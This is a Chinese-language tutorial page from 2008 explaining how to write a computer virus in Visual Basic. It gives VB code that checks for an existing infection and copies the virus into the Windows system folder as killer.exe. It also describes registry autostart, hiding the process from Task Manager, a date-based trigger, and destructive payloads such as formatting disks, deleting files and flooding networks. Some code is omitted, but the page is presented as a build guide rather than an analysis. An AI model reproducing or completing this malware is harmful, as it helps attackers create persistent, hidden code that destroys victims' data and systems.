您的位置:首页 > 技术教程 > vb

如何用Visual Basic编写病毒
【字体: 整理日期:2008-8-4 11:45:59 打印本文】 【收藏此文

相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以vb编写为例,揭开她的面纱。

  用vb编写病毒需要考虑到如下几点:

  * 感染主机

  首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\windows\system\),可用filecopy语句实现;如果病毒已感染主机则结束判断。

  例如,判断c:\windows\system\killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

  病毒源文件名为game.exe

  声明部分:

  ""定义 fileexists% 函数

    public success%

    function fileexists%(fname$)

    on local error resume next

    dim ff%

    ff% = freefile

    open fname$ for input as ff%

    if err then

    fileexists% = false

    else

    fileexists% = true

    end if

    close ff%

    end function

  代码部分:

  ""判断文件是否存在
success% = fileexists%("c:\windows\system\killer.exe")

    if success% = false then ""病毒不存在则拷贝病毒到计算机

    filecopy "game.exe", "c:\windows\system\killer.exe"

    ... ""修改注册表,将其加入run中。(省略若干代码)

    end if

  * 开机启动病毒

  在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用api函数对win注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)

  * 任务管理器

  在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 app.taskvisible = false 就可以实现;再有就是通过调用win api函数来实现,这里就不作介绍了。

  * 病毒发作条件

  可用day(date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用time、date或其它方法作为病毒发作条件的判断。例:

  if day(date)=16 then ""16是发作日期,取值为1-31的整数

    ... ... ""kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)

  end if

  * 病毒的破坏性

  编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。



查询
关键词:
相关文章
标签Tags